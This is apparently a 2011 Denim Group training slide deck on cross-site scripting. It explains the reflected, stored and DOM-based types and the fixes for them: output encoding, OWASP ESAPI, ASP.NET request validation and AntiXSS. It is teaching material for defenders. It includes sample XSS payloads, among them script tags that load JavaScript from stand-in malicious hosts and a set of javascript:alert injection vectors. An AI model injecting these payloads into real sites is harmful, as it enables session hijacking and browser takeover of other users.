xss remediation

© Copyright 2011 Denim Group - All Rights Reserved

Cross-Site Scripting (XSS) Remediation

Guerilla Training CampSecurity BSides Austin

Dan Cornell


My Background

• Dan Cornell, founder and CTO of Denim Group

• Software developer by background (Java, .NET, etc)

• OWASP San Antonio, Global Membership Committee

• Denim Group

– Build software with special security, performance, reliability

requirements

– Help organizations deal with the risk associated with their software

• Code reviews and application assessments

• SDLC consulting

• Secure development training – instructor-led and eLearning

1

http://www.threadstrong.com/


Agenda

• What is Cross-Site Scripting (XSS)?

• How Do You Remediate XSS Vulnerabilities?

• Questions

2


Vulnerability: Cross-Site Scripting

#2 in the OWASP Top 10

If an attacker controls your browser – it is no longer your

browser

3


Let's look at a simple application

4

Attacker

Administrator

Web Browser

Web Browser

Web Application

Administrative

Pages

User Pages

Database


A standard user can update the name and email address on their profile:

NormalGuy

[email protected]

An administrative user can retrieve this information, shown in a page:

<input type="text" name="name" value="NormalGuy"><br>

<input type="text" name="email" value="[email protected]">

5


With normal input

6

Administrator

Web Browser

Web Browser Administrative

Pages

User Pages

Database

UserNormalGuy

[email protected]

<input type=”text” name=”name” value=”NormalGuy”><br>

<input type=”text” name=”email” value=” [email protected]”>


A malicious user can inject malicious scripts into their profile:

MaliciousGuy

"><script src="http://maliciousserver/rewritepage.js" />

When the administrative user retrieves this information:

<input type="text" name="name" value="NormalGuy"><br>

<input type="text" name="email" value=" "><script src="http://maliciousserver/rewritepage.js" />">

7


With malicious input

8

Administrator

Web Browser

Web Browser Administrative

Pages

User Pages

Database

MaliciousGuy

”><script src=”http://maliciousserver/rewritepage.js” />

<input type=”text” name=”name” value=”MaliciousGuy”><br><input type=”text” name=”email” value=””><script src=”http://maliciousserver/rewritepage.js” />”>

Attacker


What is Cross-Site Scripting?

• Occurs when an application takes data from a user and sends it back

to a web browser without validation or encoding

• Victim's browser renders HTML and executes JavaScript chosen by

the Attacker

• Not a direct attack on the application – it is attack on users of the

application

– Exploitation can involve many scenarios including social engineering

• Most common web application security issue

– Based on MITRE statistics

9


Impact of Cross-Site Scripting

What can an attacker accomplish with a malicious script?

10


Cross-Site Scripting Attacks

• Attackers may have different means to have their code to execute on

another user’s browser

• Reflected

• Stored

• DOM Based

11


Reflected Cross-Site Scripting

• Attacker crafts a malicious link containing the payload

• Attacker makes that link available for victims to click

• Victim encounters malicious link and clicks

• Web application reflects the payload back to the victim's browser

where it is rendered and executed

• Commonly found in

– Login pages

– Message pages

12


Reflected Cross-Site Scripting

13

Attacker

Send e-mail to user with link

User Web ApplicationMalicious Web

Server

Link makes request to website

Response includes malicious content

Malicious content sends authentication information to attacker’s resources

Malicious content redirects user to malicious website

or


Stored Cross-Site Scripting

• Attacker posts payload to a database or other data store

• Victim uses the same site and visits a page where the payload is sent

back to the victim

• The payload is rendered and executed in the browser

• Commonly found in

– Message boards

(horizontal privilege escalation)

– User management systems

(vertical privilege escalation)

14


Stored Cross-Site Scripting

15

Attacker

Submit field with malicious content

Web Application User

Request for content to approve

Reply containing malicious content


DOM-based Cross-Site Scripting

• Attacker crafts a malicious link containing the payload

• Attacker makes that link available for victims to click

• Victim encounters malicious link and clicks

• Client-side code parses user-supplied data to make decisions

• Things to look for

– document.URL

– document.URLUnencoded

– document.location (and its other properties)

– Document.referrer

– window.location (and its other properties)

16


Crafting XSS Payloads

• Most basic, if payload is echoed directly into open HTML– <script>alert('hi');</script>

• Sometimes you may have to deal with application HTML– <input name='uname' value='<%= Request["uname"] %>' />

– uname parameter must:

• Close out the value attribute: '>

• Then include the payload: <script>alert('hi');</script>

• Then clean up before the application HTML starts again: <'

• Full payload: '><script>alert('hi');</script><'

17



Script with the 'src' attribute<SCRIPT SRC=http://malicioushost/maliciousscript.js></SCRIPT>

An attacker is likely to use the 'src' attribute if the script requires more

space than the application accommodates.

Image

<IMG SRC="javascript:alert('XSS');">

Body

<BODY BACKGROUND="javascript:alert('XSS')">

18



Input

<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">

Iframe

<IFRAME SRC="javascript:alert('XSS');"></IFRAME>

In addition, the iframe can point to a malicious page on a remote host.

Table

<TABLE BACKGROUND="javascript:alert('XSS')">

Div

<DIV STYLE="background-image: url(javascript:alert('XSS'))">

19


Impact

• Attacker can render HTML and execute script in the victim's browser,

resulting in:

– Session hijacking (adding JavaScript that forwards cookies to an attacker)

– Misinformation (adding "For more info call 1-800-A-BAD-GUY" to a page)

– Defacing web site (adding "This company is terrible!!!" to a page)

– Inserting hostile content (adding malicious ActiveX controls to a page)

– Phishing attacks (adding login FORM posts to 3rd party sites)

– Takeover of the user's browser (adding JavaScript code to redirect the user)

20


Mitigation

• Positively validate inputs

– Length, type, syntax, business rules

• Encode application outputs

– HTML or XML

– < becomes < and so on

21


Java-specific Safeguards

• Avoid using <%= %> because that does not encode outputs

• Escape special HTML characters

– < > ' " / & and so on…

• Use URLEncoder class to encode characters being placed in a URL

• Use Struts output mechanisms such as <bean:write …>

• User JSTL escapeXML="true" attribute in <c:out …>

• Use ESAPI Encoders

22


.NET-specific Safeguards

• .NET has built-in blacklist validation against many known XSS attacks

– This is good, but not ideal

– This can be turned off with ValidateRequest="false" in the Page tag (BAD!)

• Validation framework offers many protection options

– RegExValidator and others

• Avoid using <%= %> because that does not encode outputs

– Look at <%: %> syntax in ASP.NET 4

– http://weblogs.asp.net/scottgu/archive/2010/04/06/new-lt-gt-syntax-for-html-

encoding-output-in-asp-net-4-and-asp-net-mvc-2.aspx

• Better: Use HttpUtility.HtmlEncode() to encode user-supplied

data that is reflected back to users

• Best: Microsoft Web Protection Library (WPL)

– http://wpl.codeplex.com/

23

http://weblogs.asp.net/scottgu/archive/2010/04/06/new-lt-gt-syntax-for-html-encoding-output-in-asp-net-4-and-asp-net-mvc-2.aspx

































http://wpl.codeplex.com/


Cross-Site Scripting Recap

• Cross-Site Scripting (XSS) occurs when an application takes data

from a user and sends it back to a web browser without validation or

encoding

• There are three main varieties:

– Stored

– Reflected

– DOM-based

• To guard against:

– Positively validate inputs

– Escape user-supplied data sent back to the browser

24


OWASP ESAPI

• Sites:

– Main: http://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API

– Java: http://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API#tab=Java_EE

• Good: Provides very robust set of encoder functions

• Less good:

– Has a number of dependencies (~29) (currently – work on modularity is in progress)

– Implementations are of varying maturity. Most useful for Java.

25

http://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API



OWASP ESAPI (Java)

• To Use:

– Follow the installation guide

– Must create a folder (.esapi) to store your configuration and preferences

• Get access to library:

– Add all the support jars (31) to your project

– Remove repeated jars

– Add esapi-2.0_rc10.jar to your project

<%@ page import="org.owasp.esapi.ESAPI, org.owasp.esapi.Encoder" %>

• Make calls to encode tainted data:– ESAPI.encoder().encodeForHTML()

– ESAPI.encoder().encodeForHTMLAttribute()

26


ASP.NET Request Validation

• ASP.NET provides some blacklist-based input validation to try and

guard against HTML injection and cross-site scripting (XSS) attacks

• This is turned on by default (yeah!)

• Many applications disable it (boo!)

– Blocked a valid request

– Made trouble with AJAX

– And so on

27


ASP.NET Request Validation

• How to configure or check if it is enabled?

• This is turned on by default

• In web.config:<configuration>

<system.web>

<pages validateRequest=“true|false" />

</system.web>

</configuration>

• Per-page:<%@ Page … ValidateRequest=“true|false" %>

28


Microsoft Web Protection Library

• Main site:


• To use:

– Import reference to AntiXSS.dll (optionally include HtmlSanitizationLibrary.dll)

• Found in C:\Program Files (x86)\Microsoft Information Security\AntiXSS Library v4.0

– Get access to library:

• In code:

– using Microsoft.Security.Application;

• In ASPX page:

– <%@ Import Namespace="Microsoft.Security.Application" %>

– Make call to encode tainted data:

• AntiXss.HtmlEncode()

• AntiXss.HtmlAttributeEncode()

• And so on…

29



Exercise: Fixing XSS Vulnerabilities

• Java

– Reflected XSS

– Stored XSS

• ASP.NET

– Reflected XSS

– Stored XSS

30


But Your ASP.NET Examples Cheated!

• This is true: ASP.NET provides some XSS protection via the

ValidateRequest functionality

• However:

– This can be (and is often) turned off on a per-page or site-wide basis

– It has been defeated in the past and will be defeated again in the future

• http://www.procheckup.com/vulnerability_manager/documents/document_1258758664/byp

assing-dot-NET-ValidateRequest.pdf

• http://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-

FavoriteXSS-SLIDES.pdf

• If you want your code to be “Rugged” then you need to actually guard

against cross-site scripting vulnerabilities in your code

31

http://www.procheckup.com/vulnerability_manager/documents/document_1258758664/bypassing-dot-NET-ValidateRequest.pdf








http://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf












Resources

• OWASP ESAPI

– http://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API

• Microsoft Web Protection Library


• Denim Group Remediation Resource Center

– www.denimgroup.com/remediation

32



http://www.denimgroup.com/remediation


Questions?

Dan Cornell

[email protected]

Twitter: @danielcornell

www.denimgroup.com

(210) 572-4400

33

mailto:[email protected]

http://twitter.com/danielcornell

http://www.denimgroup.com/

http://www.denimgroup.com/

xss remediation

Technology

web browser administrative

web browser

site scripting

stored xss

rights reserved

attacker makes

dan cornell

malicious content